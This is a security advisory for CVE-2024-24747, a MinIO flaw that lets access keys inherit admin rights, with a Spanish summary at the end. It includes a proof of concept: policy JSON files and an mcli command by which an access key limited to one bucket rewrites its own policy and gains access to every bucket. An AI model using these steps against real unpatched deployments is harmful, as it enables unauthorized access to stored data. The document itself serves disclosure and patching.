CVE-2024-24747

Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation in github.com/minio/minio

### Summary When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. Credit to @xSke for sort of accidentally discovering this. I only understood the implications. ### Details / PoC We spun up the latest version of minio in a docker container and signed in to the admin UI using the minio root user. We created two buckets, `public` and `private` and created an access key called `mycat` and attached the following policy to only allow access to the bucket called `public`. ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::public", "arn:aws:s3:::public/*" ] } ] } ``` We then set an alias in mc: `mcli alias set vuln http://localhost:9001 mycat mycatiscute` And checked whether policy works: ``` A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B public/ ``` Looks good, we believe this is how 99% of users will work with access policies. If I now create a file `full-access-policy.json`: ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::*" ] } ] } ``` And then: ```sh A ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat Edited service account `mycat` successfully. ``` `mycat` has escalated its privileges to get access to the entire deployment: ```sh A ~/c/minio-vuln mcli ls vuln [0001-01-01 00:53:28 LMT] 0B private/ [0001-01-01 00:53:28 LMT] 0B public/ ``` ### Impact A trivial privilege escalation unless the operator fully understands that they need to explicitly deny `admin` actions on access keys. ### Patched ``` commit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master) Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Jan 31 10:56:45 2024 -0800 fix: permission checks for editing access keys (#18928) With this change, only a user with `UpdateServiceAccountAdminAction` permission is able to edit access keys. We would like to let a user edit their own access keys, however the feature needs to be re-designed for better security and integration with external systems like AD/LDAP and OpenID. This change prevents privilege escalation via service accounts. ```

MinIO es un almacenamiento de objetos de alto rendimiento. Cuando alguien crea una clave de acceso, hereda los permisos de la clave principal. No solo para acciones `s3:*`, sino también para acciones `admin:*`. Lo que significa que, a menos que en algún lugar superior de la jerarquía de claves de acceso se denieguen los derechos de "administrador", las claves de acceso podrán simplemente anular sus propios permisos "s3" por algo más permisivo. La vulnerabilidad se solucionó en RELEASE.2024-01-31T20-20-33Z.